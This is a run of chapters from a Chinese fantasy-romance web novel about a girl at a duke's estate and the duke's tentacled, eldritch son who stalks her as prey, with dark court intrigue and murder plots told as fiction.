等了许久,都没有得到答复。 公爵紧张地望了一眼黑暗深处,随后拽住管家的衣领,将他拖往楼梯:“回去。” “迷人的红色啊,您的舞动是那样温柔轻盈!伟大的上位者啊,您夺走了我的心!” 管家赖在地上不肯起身,继续疯狂地赞美着猩红的触足,如同失了心智。 公爵弯曲手指,将戒指的宝石贴在对方的脸颊之上。 管家的眼皮翻动了几下,身体微微颤抖,神情终于恢复了正常。 “还愣着干什么?快走。” “是,是!” 主仆二人跌跌撞撞跑上楼梯,离开了亭子。 回到浴室,亚兰公爵清洗完身上的血迹,推门走进了多萝西娅的卧室。 他坐在床边,拾起她散落在枕边的黑发,轻轻印上一吻。 岁月没有在她的脸上留下痕迹,她还是那样美丽,一如往昔。 ------------------------------------- 一大早,女仆蒂茜帮子爵夫人传话:“小姐,夫人让您稍微准备一下。中午,您要与公爵一起享用午餐。” 玛莲娜有些懊恼。公爵什么时候回来的?她没有及时去迎接公爵,会不会给他留下不好的印象? 她随即转念一想——既然母亲没有让她提前问好,那应该不用瞎担心。 玛莲娜没有把精力耗费在无意义的焦虑上,而是捧起从子爵府带来的地理类书籍,认真研读起来。 《大陆纪行:戈汀帝国地理全览》,作者是梅拉·格雷科。 她很喜欢这位作者——透过文字,可以看出对方的风趣与博学。如果有机会,她真的很想和对方聊上三天三夜。 现在,她读到了第四册城市与建筑。 翻到介绍阿斯特隆的那一部分,可以详细了解此地的道路、桥梁等设施。 作者还为这套书籍编撰了特别书册,名为《风味大陆:旅游指南》,专门用来推荐各地的美食老店。 玛莲娜翻到了介绍阿斯特隆美食的那几页。 作者锐评了一番阿斯特隆的美食。 “相比于帝国的其他地区,阿斯特隆称得上是美食荒漠。这里的名菜是烤猪肘与炸小牛排。真是难以想象,这两道毫无技术水准的荤菜竟然能成为此地的招牌。” “纵观整个阿斯特隆,真正值得一试的只有那些提供外国料理或帝国其他地区特色菜肴的餐厅。” “很遗憾,大概是为了照顾当地人的口味,这里外国菜的味道普遍偏咸,极其不正宗。而且,大部分猪肉料理都散发着难以下咽的臊味。然而,阿斯特隆本地人似乎尝不出来。早餐时分,不少人喜欢将生猪肉抹在黑面包上,大口咀嚼。” “我朋友哈妮第一次尝试阿斯特隆的甜品,发出了‘难道当地人的舌头都坏了么’的感叹。总而言之,阿斯特隆的食物,要么太甜,要么太咸。” 读到此处,玛莲娜回忆了一下这几日吃过的食物。 公爵府果然和平常餐馆不一样。厨师应该是特意为了迎合宾客或公爵的偏好,调整了烹饪之法,令所有菜品呈现出恰到好处的咸淡,十分美味。 “如果非要推荐一家本地菜餐馆,那我只能说,‘烤炉酒馆’的猪肘堪称一绝——外皮金黄酥脆,肉质鲜嫩多汁,丝毫没有公猪的腥味。这家的菜,量大又不贵,我必须给予好评。” “有两点需要注意:第一,如果没有提前预定座位,需要排队很长时间。第二,这家酒保的态度不太好,不仅歧视所有外地人,还会自作主张收取服务费用。结账之前,一定要自己先算一遍价格!”< 7. 第七章 《[人外]她与邪神》全本免费阅读 多萝西娅握住公爵的手腕:“弗雷德里克,你怎么还站着?坐下喝汤吧。” 公爵向希瑟尔投去一瞥,随后艰难地咽了口唾沫,奋力克服四肢的僵硬,终于重新坐了下来。 管家推开其他仆从,亲自搬来椅子,为公爵之子添置了座位。 玛莲娜隐忍地握着勺子,始终没能喝下第二口汤。 希瑟尔坐在她的身边,目光驻留在她的侧颜之上。 从童年时起,玛莲娜就擅长察言观色,习惯通过各种细节捕捉他人的情绪。 本来,她试图用余光读取希瑟尔的眼神,进一步判断他的态度。 然而,对方的视线中并不掺杂任何蔑视或好奇,也不带有一丝其他的情绪色彩。 他只是纯粹、安静地凝视着她,宛如风平浪静的大海。 她脸上到底有什么东西,值得他如此关注? 无法推断出他的意图,玛莲娜有些不悦。 公爵的儿子,到底有什么毛病? 出于谨慎,她不禁对自己先前的判断产生了一丝怀疑。 难道,他其实很擅长掩藏情绪?为了迷惑外人,他才故意伪装成孤僻、自闭的样子? 由于公爵在场,她必须忍受希瑟尔的凝视——不能质问,也不能进行阴阳怪气的试探。 但是,这不意味着认命与屈服。 玛莲娜侧过脸,光明正大地看向希瑟尔。 两人的视线在空中相遇,仿佛激流撞上坚冰。 她挑战他的凝视,目光如炬地注视着他,毫不示弱。 时间如同结块的土壤,固定住了这一刻。 不一会儿,玛莲娜感到双目酸涩,忍不住眨了一次眼睛。 紧接着,希瑟尔也眨了一下眼睛,仿佛是对她的无声回应。 玛莲娜注意到了他的动作,心念一动,故意连续眨了两次眼。 一下,两下——他掀动眼帘,长睫轻颤,似乎真的是在效仿她的动作。 希瑟尔的演绎精确无误,没有多余的修饰,像是本能的流露。 是挑衅?还是示好?都不像。 这只是单调的模仿,纯粹到近乎冷酷,犹如用白雪涂抹空荡荡的书页。 玛莲娜意识到,即便继续试探这位公爵之子,也不会得到什么有用的结果。 刚才,她在他身上浪费了不少时间,还没有开始喝汤。 无论如何,她都不应该任由他打乱自己的生活节奏。 玛莲娜将勺子送入口中,开始品尝盘中的龙虾汤。 身旁传来一阵轻微的金属碰撞声。她瞥了一眼希瑟尔,发现他正在用金勺拨弄汤盘中的龙虾肉。 “呕——” “弗雷德里克!” 母亲那里的动静夺走了玛莲娜的注意力。 公爵不知怎么回事,竟然捂住胸口,吐出了刚刚喝下去的汤汁。 多萝西娅拿起餐巾,要帮他擦拭衣领。 “咳,我没事,不要紧......” 公爵似乎觉得有些丢人,一把抢过她手中的餐巾,自顾自擦掉了领子上的食物残渣。 没有人知道,他是因为想到了昨夜的血腥场景,才不由自主地吐了出来。 公爵强装镇静:“真是抱歉,我实在没有什么胃口。你们继续用餐,我先去清理一下衣服。” 说完,他快步走出了餐室。 管家跟在公爵身后,不舍地望了一眼希瑟尔,才踏出大门。 多萝西娅转头对女儿说:“玛莲娜,你慢慢吃,我去看看弗雷德里克。” 公爵与母亲离开了,仆人们都守在门外。 变故来得很是突然,转眼间,餐室中就只剩下玛莲娜与希瑟尔两人。 玛莲娜将盘中的浓汤一扫而空,转过头看向希瑟尔。 他手中的金勺始终悬在龙虾肉上方,没有向下移动半分。 她注意到他的举动,觉得有一点滑稽。 玛莲娜托住左侧脸颊,好整以暇地望着他:“难道,你不喜欢吃龙虾肉么?” 为了报复希瑟尔先前的凝视,她也学着他先前的样子,目不转睛地盯住他的侧脸。 “不需要。” 他的回答十分简单。 一根殷红的触腕在桌下不断伸展,逐渐靠近玛莲娜的裙摆。 相较于之前,新生的鳞片显然更加瑰丽。 美中不足的是,在它的表面,仍有零星几块区域没有鳞片覆盖,露出淡粉的底色。 触腕无声无息地围住了玛莲娜的双脚,与衣物保持着恰到好处的距离。 它越伸越长,从裙子底部缓慢向上,虚虚笼住她的小腿。 一阵轻微震颤之后,部分鳞片悄然变亮,呈现出截然不同的色彩,如同鸟儿抖动长羽,露出翅膀下的雪白绒毛。 触腕进一步缩小包围,使得那些白色鳞片更加靠近她的腿部,正巧挨着长裙的布料。 墨绿色裙摆丝滑似水,数道皱褶拥挤着爬上绸缎。 而裙子的主人浑然未觉。 触腕掠过她小腿中段的位置,犹如寻觅猎物的蛇。 玛莲娜的注意力不在裙摆附近。 她盯着希瑟尔的脸,感受到小腿传来一丝若有若无的痒意,不自觉地更换了坐姿,将左腿翘在右腿之上。 触腕迅速抽离,无影无踪。 “不好吃。” 希瑟尔的音色如同天籁,却缺乏韵律,比雾林中的白霜还要寡淡。 玛莲娜扫了一眼他的汤盘:“是么?我觉得龙虾肉挺好吃的。” 公爵之子用金勺捞起一块龙虾肉,缓缓递到她的面前。 “吃。” 这是一块白与红交织的龙虾肉,让玛莲娜不由自主想起杜松子树的故事。 公爵夫人渴求一个孩子。那个孩子具有雪的无瑕,血的瑰丽。 眼前的人,确实拥有雪的无瑕。但血之瑰丽,又从何说起?而且,用瑰丽来形容鲜血,听起来有些瘆人。 “吃。”希瑟尔又重复了一遍刚才的话。 玛莲娜蹙眉:“希瑟尔大人,你这是想命令我么?” 他静静望着她,依然保持着递出勺子的姿势。 “你只会命令我,一点也没有礼貌。所以,我拒绝。” 一丝恶劣的想法升上心头。 既然公爵与仆人都不在餐室,那她是不是可以放肆一些? 她承认,自己有些欺软怕硬。但面对沉默寡言、自我封闭的公爵之子,她总是忍不住想试探他的底线。 如果希瑟尔是伪装成孤僻的样子,实则城府颇深,那她正好激一激他,促使他在不经意间露出马脚。 “我 8. 第八章 《[人外]她与邪神》全本免费阅读 用完午餐,玛莲娜准备回房间休息。 “再见,希瑟尔。” 出于礼貌,她向公爵之子告别。 希瑟尔也从座位上站了起来。 “去哪里?” “我要回房间睡午觉。” “一起。”他要守着猎物。 玛莲娜蹙眉:“不行。” “为什么不可以?” 灰紫色的眼眸中没有困惑,只是一潭死水。不过,相较于之前,他的语调倒是多了一丝起伏。 刚吃完饭,她心情尚可,耐着性子向他解释:“情人才会在一起睡觉。” 他继续问:“情人是什么?” “所谓情人,就是——” 相爱的人?不,仅仅是欲望与利益的吸引,也能促使两个人成为情人关系。 这个概念解释起来很复杂,需要考虑到一连串特例。 因为公爵之子一句无关紧要的疑问,花费精力思考,不太值得。 万一听了她的解释,他又提出更多的问题,那真是没完没了。 她只想回去睡午觉。 玛莲娜应付道:“所谓情人,就是在一起睡觉的人。” 希瑟尔向她走近了一步。 “你不愿意回答我,为什么?” 午后的好心情顿时无影无踪。他怎么会有这么多问题? 她不想再伪装出一副友好而耐心的样子了。 玛莲娜面无表情:“如果你想要了解‘情人’的概念,完全可以自己翻阅词典或者书籍,而不是问我。” “你就在此地,可以直接回答我的问题。” 这是自她认识他以来,听他说过的最流畅、最完整的一句话。 午餐时,他的词汇运用似乎还没有这么娴熟吧? 她微微一笑,眼中闪过一丝探究:“你到底是真的不懂,还是装作不懂?” 希瑟尔的回答十分简单:“我和你,不一样。” 他不是弱小的人类,不需要依靠伪装无知维系生存。 然而,玛莲娜却理解成了其他意思。 是,他年幼丧母,和她确实不一样。 小时候,她经常向母亲提问。无论是多么琐碎的问题,母亲总会耐心给出解答。 而希瑟尔,大概是缺少可以询问和依靠的对象,才会逐渐变得孤僻。 但是,这不是她的错。 无论他是故意装作不懂,还是真的不懂,她都没有义务去填补他成长的空白,承担回答的责任。 “您是公爵的继承人,以您的才智,总能理解‘情人’的意思。” 她拒绝为希瑟尔解释这一词汇。 “情人”固然可以被理解为“相爱之人”,但它的另一层意思充满了贬低,与道德相悖。 提到这个词语的一瞬间,她可耻地想到了母亲。 她不知道多萝西娅与公爵之间是否存在真情。但她明白,母亲下定决心成为公爵的情人,无疑是出于对女儿的考虑。 她害怕,当着希瑟尔的面剖析“情人”的含义,会在无意之中,将解释的行为变成对母亲品行的审判。 她爱母亲。她没有资格用任何肤浅的语句定义多萝西娅。 因此,她拒绝对“情人”这一词汇提供任何形式的解释。 玛莲娜冷淡地通知公爵之子:“我回房间休息了,您自便。” 没有等对方回应,便自顾自离开了餐室,前往走廊。 希瑟尔的目光没有离开她的背影。 她不再伪装,也不再向他投去带有优越感的目光,让他觉得索然无味。 趁捕猎的兴致尚未消退,他应该用杀戮结束这一切。 他可以轻而易举地吸取她的血肉......不,她太难吃了。 他不如直接弄断她的脖子。 两条猩红色触腕从他身后伸出,以惊人的速度冲向玛莲娜的脖颈。 但是—— 刚才,她对他不屑一顾,态度漠然,何尝不是一种新的不自量力? 玩弄猎物的乐趣之一,正是观赏猎物幡然醒悟之后陷入悔恨,却又无力挣脱的样子。 他本想收回触腕,却已是来不及,因为它们碰到了她的左肩。 玛莲娜感到肩头一沉,立刻侧过脸。 她看见,希瑟尔的手掌搭在了自己的左肩之上。 “怎么了?”她回头望向公爵之子。 他是什么时候跟在后面的?她竟然没注意到他的脚步声。 “无事。” 希瑟尔松开她的肩膀,向后退了一步。 这男的真是莫 9. 第九章 《[人外]她与邪神》全本免费阅读 希瑟尔站在床边,用另一根腕足掀起轻薄的床帘,目不转睛地盯着床上的玛莲娜。 他现在就应该弄醒她,然后当着她的面,露出原形,品尝她即将迸发的恐惧之情。 触腕轻触玛莲娜的脖颈,如同绞刑架的绳索,无声地缠住脆弱的咽喉。 只要稍稍用一点力,就可以看到她唇部发紫、无法呼吸的濒死模样。 触腕之上,鳞片排列紧密,边缘相互重叠,呈现出类似丝缎的柔和光泽,比价值连城的床帘更加细腻。 难以言喻的冰冷覆上她的肌肤,顺着脖颈绕了个圈,企图将她扯出梦境。 玛莲娜在熟睡中颤抖了一下,本能地抓起被褥,蒙住了整个脑袋。 她翻了个身,由仰卧改为侧睡,随后收起下巴,缩成一团,无意识地将触腕困在被褥与脖颈之间。 温暖的气息犹如春日的海浪,一次又一次冲击坚硬的鳞片。 她脖颈两侧的血管向那条腕足传递规律的跳动,彰显心脏的存在。 心脏是人类的要害,处于肋骨的保护之中。 但是,折断的肋骨能刺穿心脏——拥有如此致命缺陷的族群,竟然能成为这方世界的主宰。 人类这一物种,始终是不完美的,无法经受身体部位的损毁。 他轻轻一碰,她就会死。 所以,他为什么要把注意力放在如此弱小的个体上? 触腕骤然松开力道,放弃了对猎物的缠裹,犹如一条垂死的赤蛇,横躺在雪白的软枕之上。 红与白交缠在一起,难舍难分,既妖艳昳丽,又显得有些纯洁无辜。 它尚未远离被窝,理所当然地陷入了她无意制造出的温暖之中。 由于具有类似冷血动物躯体的特性,它甚至在她体热的影响下逐渐升温。 希瑟尔厌弃地望向温热的腕足,首次产生了切断它的强烈冲动。 它为什么要贴近她? 它为什么要碰她? 它为什么会轻易受到她的影响? 路过草坪的时候,有谁会在意草叶的纹路?对于他而言,她只是一株无关紧要的青草。 他应该远离她,无视她。 触腕遵照希瑟尔的意识离开软枕,重新融入他的身躯。 它本来就压住了玛莲娜的头发,由于移动时速度太快,一下子扯到了她的发丝。 “噢!” 玛莲娜眉头紧锁,痛呼出声,猛地睁开了眼睛。 她本来睡得好好的,还做了一个可耻的梦! 她梦到自己顺利继承了公爵之位。而希瑟尔跪在她面前,向她索求怜悯。 灰紫色的眼眸不再如往日那样高不可攀,而是被水雾笼罩,美丽动人,还夹杂着几分委屈,宛如湖面之上的睡莲。 这个梦,带有一些剧情。 他靠近她,讨好她,并非出自真心,而是酝酿着颠覆的阴谋。 梦中,希瑟尔趁她睡觉,用冰冷的手指扼住她的咽喉,质问她为何要夺走他的一切。 幸好,她早有准备,成功反杀。后来,她把他囚禁在高塔之中。 至于之后发生了什么,她已经记不清了。梦境都是古怪且毫无逻辑的,说不定,她铐住他的手脚,对他进行了一番羞辱。 然后,头皮传来痛感,她突然醒了。 大概是......她在翻身时压到了自己的头发? 玛莲娜坐了起来,回过身看了一眼枕头。 幸好,没有扯掉发丝。 总之,那个梦的内容既羞耻又禁忌。她觉得,自己应该没有那么恨希瑟尔,为什么会梦到折磨他的场面? 哈哈,她可真是恶毒啊! 床帘依旧保持着原来的样子,丝毫没有被掀动过的痕迹。 唯有窗户敞开了一条缝隙。 ------------------------------------- 接下来的几日,希瑟尔都没有主动出现在众人面前,就像消失了一般。 玛莲娜多数时候与母亲用餐。 偶尔,公爵也会暂时搁下繁忙的事务,与母女二人共同享用食物。 某一日,品尝完美食后,玛莲娜满意地对侍从说:“请向公爵府厨师转达我的赞扬,他们制作的菜肴真是美味无比。” 公爵听到她的话,接了一句:“噢,他们都是哈莫妮亚亲自选拔的厨师。哈莫妮亚对菜品的要求一向很高。” 哈莫妮亚是去世的公爵夫人。 公爵当着现任情人的面突然提起前妻,未免有些令人尴尬。 但他并不觉得有什么,仿佛这一切都是无意中脱口而出的话语。 听到公爵的话,多萝西娅神色如常,甚至还保持着微笑。 公爵瞥了一眼多萝西娅。见她没有什么特别的反应,他微不可见地挑了一下眉毛,随后慢悠悠拿起水晶杯,抿了一口酒液。 玛莲娜将二人的神情尽收眼底。 公爵的话语,不像是无心之言,倒像是刻意的试探。 表面上看,公爵对她的母亲念念不忘,但是.......如果他真心爱着她母亲,会当面提起前妻,让情人难堪么? 他想试探多萝西娅的反应,盼望她吃醋? 还是说,公爵只是为了满足内心的支配欲——他喜欢看到别人因为他轻飘飘的一句话,陷入慌乱与自我怀疑? 多萝西娅的反应非常平静,并未符合公爵的期待。 玛莲娜在心中暗自替母亲高兴。不过,她随即想到了自己的未来。 原先,按照她的规划,她会通过努力表现,赚取公爵的信任。 现在,玛莲娜对自己的设想产生了怀疑。 即便她表现得再出色,公爵真的会在乎么? 也许,对于这名上位者来说,她与多萝西娅不过是单调生活中的调味剂。 公爵用餐巾擦拭完嘴唇,告诉多萝西娅:“三天后,皇帝的堂弟,也就是夏尼克亲王前来拜访。我需要在家中举办宴会,具体事项由你来安排。” 多萝西娅立刻给出回应:“没有问题,你放心。” 公爵点头:“我让手下找了个家庭教师。她明天就能过来为玛莲娜授课。” “弗雷德里克,真是太谢谢你了。” “举手之劳而已。” 新的家庭教师? 玛莲娜坐直了身子,语气真诚:“向您致以诚挚的感谢,公爵大人!” 无论如何,公爵还是愿意施舍一些恩惠的。 利用公爵府的资源,为自己谋取利益,才是她们现阶段应该做的事情。 ------------------------------------- 第二日清晨,玛莲娜来到卧室套间隔壁的小书房,与家庭教师见面。 新的老师是一名圆脸女士,四十岁左右,负责教授历史与地理。 “早安,玛莲娜小姐。你可以直接称我为丹娜。”她看上去十分和蔼可亲。 “早上好,丹娜。您叫我玛莲娜就好。” 丹娜简单介绍了一下自己。 她出身低等贵族之家,是家中最小的女儿,衣食无忧,始终未婚。 年轻的时候,丹娜热爱读书,还跟随自己的老师前往各地旅游,目的是体验不同地方的风土人情。 后来,为了让生活更有意义,她选择踏上教书育人这条道路。 “这是我们这几个月上课需要使用的教材。” 丹娜向她展示了《文明的踪迹与版图变迁·第三册》。 “我们从第三册第十一章开始。” 玛莲娜有些惊讶。 当时在子爵府,上一位家庭教师用的也是这套教材。 10. 第十章 《[人外]她与邪神》全本免费阅读 下午,丹娜详细讲解了历史方面的知识,主要涉及帝国建立初期的法律改革。 下课之后,玛莲娜翻阅笔记与教材,认真回顾今天学过的内容,还预习了明天的课程。 晚餐时,她恳请公爵允许她进入藏书库。她希望能研读帝国早期的法典,深入地理解法律改革。 在多萝西娅的催促下,公爵答应了。 刚吃完甜点,玛莲娜就奔向公爵府的藏书库。 藏书库占地面积很大,一眼望不到尽头。穹顶处布满了精美的壁画,画中描绘着太阳普照万物的景象。 为了消除火灾隐患,书库中不设油灯,而是用价值不菲的日晶石作为光源。 入口处摆有几本检索指南,方便来访者查找书籍所在的位置。如果找不到心仪的图书,还可以求助于管理书库的仆从。 只是,此时此刻,负责看守书库的仆人正趴在桌子上睡觉,怎么也喊不醒。 玛莲娜爬上爬下,自行找到了两本法典,正准备返回,突然听到不远处传来一阵细碎的声响。 窸窸窣窣,与落叶刮过地面产生摩擦声相仿,似乎是有人正在翻动纸张。 刚才,她竟然没有察觉到对方? 玛莲娜放轻脚步,缓慢向前挪动了一段距离。她借着书架遮挡住身形,探出半张脸,望向声源处。 公爵之子左手捧着一本厚重的书,右手停驻在书页的边缘。 灰紫色的眸子没有望向书本,而是落在她的面容之上。 他个子高,长得又漂亮,看上去比灯具还要耀眼。 这时候,她若是故意忽视他,总归不太礼貌。更何况,他已经发现了她。 “希瑟尔,晚上好。” 玛莲娜走到他面前,摆出亲切的笑容,仿佛忘记了多日前的不快——那时,他要她解释“情人”的意思。 希瑟尔凝视着她的脸,默不作声,依旧是一副没有情绪的冰冷模样。 他盯着她看,那她也要盯回去。 玛莲娜保持着微笑,从上至下打量公爵之子。 他上半身穿得十分单薄,也没有系任何扣子或带子,任由前襟敞开。 她的目光停留在他的胸膛附近。 不得不承认,希瑟尔的外形堪称无瑕。肌理的起伏恰到好处,线条的优美程度胜过世上任何一尊雕塑,超越了艺术的极致。 头顶的日晶石洒落辉芒,令他的肌肤呈现出珍珠般的细腻质感。 玛莲娜向前走了一小步,离他更近了。 五根触腕盘踞于阴影之中,末端微微翘起,等待猎物的接近。 “再向前,我会直接杀了你。” 几日不见,希瑟尔的口才进步显著,说话更加流畅。 而且,他在发音上做了调整,特别是在“杀”这个字上加强了语气。 但是......有点用力过猛。 对于玛莲娜来说,这句话听上去根本不像是威胁,反倒像是他在抗拒之下故作冷漠。 她惊讶地睁大了眼睛,用逗弄的语气试探他:“好啊,你不妨说说看,到底要怎么杀我?” 话虽这么说,但她还是暗自提高了警惕。一旦情况不对,她随时准备逃跑。 对方本就自闭且孤僻,她可不敢拿性命打赌。 “......我会拧断你的脖子。” 希瑟尔将重音放在“拧断”这个词上。 玛莲娜退后了一步,与他保持安全的距离。 她心念一动,按照他的语气,重复了一遍他刚才放出的狠话:“我会拧——断你的脖子!” 出于战斗本能,隐藏在暗处的触腕感受到了外界的威胁,猛然拉直。 公爵之子面无表情地看着她,沉默了两秒,开口道:“不,你杀不死我。” 阴影中的触腕争先恐后地融入希瑟尔的身体,转瞬间消失不见。 最后一根触腕被其他“同伴”绊了一下,才成功回归。 眼前的人类,根本无法对他造成威胁。刚才,他的第一反应竟然是摆出警戒的架势,真是太蠢了。 听到他一本正经地纠正她的言论,玛莲娜努力憋住了笑意:“好好好,知道了,我拧不断你的脖子。” 她只是在学他说话而已,又不是要朝他放狠话。 “啪。” 希瑟尔合上了手中的厚重书本。 玛莲娜问他:“这么晚了,你在看什么书?真是刻苦啊。” 他的目光转而落在她怀中的法典上,没有给出回应。 察觉到他的视线,玛莲娜下意识用袖子遮住了法典的标题,防止竞争对手了解她的学习进度。 “这些都是消遣用的爱情小说。”她轻飘飘地告诉他。 话音落下,她 11. 第十一章 《[人外]她与邪神》全本免费阅读 今日,夏尼克亲王前来拜访公爵,还带着刚成年的小儿子。 亲王是皇帝的堂弟,也是皇位的竞争者。 唯一的皇子暴毙,老皇帝宣布私生女卡琳公主为皇位正统继承人。 亲王觉得,既然私生女可以当皇储,那他自己也有权争一争皇帝之位。 亲王与教会、大贵族们交好,而公主拥有皇帝本人的支持。最近一个月,两派斗争逐渐激烈。 亚兰公爵和亲王从小在一起长大,关系甚好。 客人的身份无比尊贵,欢迎仪式自然也格外隆重。 公爵亲自来到台阶前迎接亲王,多萝西娅站在公爵身后,面带微笑。 由于不是贵族,玛莲娜的站位更为偏远。 “太阳保佑你,我的好兄弟,你总算来了!”公爵很是高兴。 亲王年逾四十,留着两缕胡须,身材微胖。 他拥抱了亚兰公爵,又上下审视着多萝西娅:“弗雷德里克,你果然把这个美人接了回来。” 公爵搭住亲王的肩膀:“我们进去慢慢聊。” 玛莲娜很不喜欢亲王的眼神——他打量着她的母亲,就像是打量一件物品。 “你就是那个子爵夫人的小私生女?” 一道公鸭般的声音在身后响起,玛莲娜侧过头,看向说话的年轻人。 此人是亲王的小儿子,先前一直与他父亲并肩而行。 听说,亲王的小儿子不学无术,也没有祷术天赋,整日闲在家中玩乐。 玛莲娜垂眸行礼:“殿下,我的确来自子爵府。” “哦,你倒是继承了子爵夫人的美貌。”青年冲她挑眉。 “殿下,您谬赞了。” 他挤出笑脸:“直接叫我迪耶戈就行,别总是‘殿下’、‘殿下’。” “好的,迪耶戈殿下。” “唉,你这姑娘,这么客气干什么?你看看我的脸,我长得像不近人情的家伙么?” 玛莲娜抬眸,在他脸上扫了一圈。 呃,弯钩鼻子,大如车轮的眼睛,单薄如纸的嘴巴......难道,他其实是一只猫头鹰? “抱歉,迪耶戈大人。”她迅速低下头。 迪耶戈眼神放肆:“美人啊,你觉得我怎么样?” 玛莲娜保证,假如她现在手里有匕首,一定会直接戳进这个草包的眼睛里。 但对方是亲王的儿子,她不能公然杀死他。 她叹息道:“您简直出类拔萃。可惜,比起希瑟尔·亚兰大人,您......唉。” 她故意拱火,目的是转移迪耶戈的注意。 迪耶戈不服气:“哼,公爵从来不让他的儿子露面。说不定,他就是个丑八怪。” 玛莲娜否认:“其实,他长得非常漂亮。” “不可能!” “您去找他对比一下,就知道了。” 管家快步来到迪耶戈面前:“殿下,亲王唤您去会客厅。” “小美人,我们之后再聊。” 迪耶戈很不舍,一步三回头,但还是跟着管家走进了会客厅。 玛莲娜低下头,装作没有听到他说话。 她还有正事要做。 数日前,经过一番考察,她母亲发现了一处可以偷听会客厅谈话的地点。现在,她应该去那里与母亲会合。 玛莲娜来到会客厅楼下的更衣室。 多萝西娅正站在门内等女儿:“你终于来了,进来吧。” 玛莲娜走到母亲身边,回头将木门反锁。 头顶上方,公爵与亲王的谈话声有些模糊。 “我根本听不清具体的内容。”她告诉母亲。 多萝西娅站在软凳上,从裙中翻出一个喇叭形状的奇异小物件,将它贴到了天花板之上。 公爵的声音立刻变得无比清晰。 起初,他们聊着封地的建设,又谈论了一会儿卡琳公主。 “那个女人刚刚被立为皇储,就按捺不住性子,换掉了一批官员。哼,要不是大皇子暴毙,这皇位跟她这个私生女有什么关系?” “之前,你派出去的人太弱了,没能做掉她。下次必须找教会骑士协助......” 不知不觉,话题顺着卡琳公主,转向了其他女人。 “......多萝西娅回到了公爵府,我赌赢了,你得把皇城西边的田地转移到我的名下。” “你作弊,所以这次赌约不算数。你故意让主教勒索那个女人,逼她投奔你,对不对?你根本就没有凭借自己的魅力吸引她。”是亲王的声音。 “这不是作弊。” “这就是作弊。你如果还把我当作兄弟,就和我重新打个赌吧!” “赌什么?” 亲王继续说道:“洛尼伯爵夫人也是有名的美人,两年前丧夫。你给她写信,让她过来当你的情妇。如果她同意了,我就给你一座金矿。反之,你赔我一座金矿。” “我见过伯爵夫人,她根本没有多萝西娅漂亮。”公爵抱怨。 亲王笑着调侃道:“我知道了,你偏心这个平民女人,念着旧日情分,舍不得赶她走,对不对?” 公爵嗤笑:“我的意思是,你就不能换个更好看的女人打赌么?” “哈哈哈,弗雷德里克,果真是只有你才能说出这种话!对了,多萝西娅的女儿,是不是你的种?” “你在想什么?怎么可能?多萝西娅在认识我之前,就已经怀孕了。当时,哈莫妮亚派人去封地各处挑选侍女,正好挑中了她。” “那可太好了!我儿子很喜欢这个小姑娘。你安排一下,让她伺候我儿子。” “这件事以后再说,总不能让你这家伙白得了便宜。你拿什么和我交换玛莲娜?” 男人们浑厚的笑声在玛莲娜的耳边回荡。 她捂住嘴巴,干呕了一声。 太恶心了,真是太恶心了。 她和母亲只是上位者用来消遣的玩物。 仅仅几天前,她还怀揣着幻想,期盼公爵有朝一日能够认可她的能力,予以重用。 她实在是太天真、太愚蠢了! 怒火冲上头顶,她被污秽的真相砸得头晕目眩。 因为一个荒谬的赌约,主教在公爵的指使下夺走了她们的财产。 那时,她们愤怒,她们不甘,她们幡然醒悟,寻找出路,就像无知的虫子,看似逃出困境,却没有意识到自己始终身处巨网之下,无法挣脱。 好想......好想看到他们死。 什么公爵,亲王,都应该去死! “玛莲娜,冷静。”多萝西娅抱住了女儿,语气平和。 “妈妈......我很冷静。你是不是之前就察觉到真相了?” 她紧紧抱住母亲,就像溺水的虫子抱住救命的草叶。 多萝西娅蹭了蹭女儿的脸颊:“与公爵日夜相处,总能看出一些什么的。” 玛莲娜用深呼吸平复心情:“我们应该重新谋划未来。” 母亲的声音又轻又缓:“你知道索利亚子爵的死因么?十五年前,他想将我送给其他贵族赏玩,我只好动手了。” 子爵是多萝西娅的前夫,新婚一年后暴毙。在他死亡之后,多萝西娅继承了子爵府。 “原来,他真的是被你......”玛莲娜瞪大了眼睛。 “嘘——你憎恶公爵么?” “毋庸置疑。”玛莲娜眉头紧锁。 明白真相之后,她只希望能看到公爵悔恨地死去。 妄图践踏她与母亲的人,都不应该活在这个世界上。 多萝西娅提醒女儿:“他死不足惜,我们可以寻找机会下手。重要的是—— 12. 第十二章 胸前传来冰冷的挤压感——现在,他们靠得太近了。 她踮起脚,正好能够与他肌肤相贴。 他没系胸前的扣子,而她穿着低领的礼服。 如果再贴得紧一点,她一定能感受到对方心脏的搏动。 他的心跳是否正在加速? “希瑟尔,我愿意为你解释那个词的意思。你想不想听?” 出于试探的心理,玛莲娜对着他的耳后缓缓呼出一口热气。 希瑟尔并未转过来瞧她,而是阖上了双目,长睫轻颤。 她微微侧过脸,望向公爵之子的睫毛。 是慌张,还是焦躁? 她专注于揣测他的内心,却没有发现,他脖颈处裂开了一条小小的缝隙。 一只灰紫色眼睛藏在缝隙之间,一动不动地凝视着她。它的瞳仁并非圆形,而是呈现出竖直的状态。 见他始终没有给出回应,玛莲娜缓缓向后退了一步。 “希瑟尔,要不要跟我一起去会客厅?” 她抬头看向他的正脸,转移了话题。 脖颈处的那条缝隙悄然闭合。 希瑟尔睁开眼睛,语气生疏:“为什么?” 他警告过她,再靠近,就会杀了她。 她为什么还要接近他,甚至触碰他? - 玛莲娜当然不知道希瑟尔的内心所想。 她以为,他不理解的是“为什么要跟她一起去会客厅”。 她犹豫了片刻,露出难过的神情:“亲王的儿子看上我了。他的眼神让我很害怕。亲王位高权重,而我只是一个私生女,无法反抗。” “我不想被他们带走,所以......请你帮帮我吧,希瑟尔!” 她言辞恳切,双眸湿润,似乎十分可怜。 “在公爵与亲王面前,帮我说句话,好不好?” 她的手指距离希瑟尔的袖口越来越近。 玛莲娜仔细观察着对方的反应,见他没有显露出抗拒,便放心地握住了他的手腕。 她又碰到了他的肌肤——触感细腻,冷如冰雪。 指尖略微下移,顺着手腕内侧一路先前,最终到达对方的掌心。 “帮帮我,希瑟尔。” 她一边低声恳求,一边勾起手指,轻轻用指腹在他的手心画了一个圈。 转眼间,希瑟尔翻动手腕,攥住了她的手指。 “今日你接近我,是因为遇到了强敌?” 听到“强敌”这个词,玛莲娜莫名觉得滑稽。 他居然将那个迪耶戈比作强敌? “嗯。”她用力点头。 希瑟尔表现得异常平静:“此处根本没有强敌,你在欺骗我?” 玛莲娜在心中暗骂了一声。 什么乱七八糟的?这个人是不是有病?强敌一词,分明是他先提起的。 她不动声色地回握住他的手,恳切地望着他:“我只是想要得到你的保护。” “保护?” 这个词汇唤起了蛰居于他体内的本能渴望。 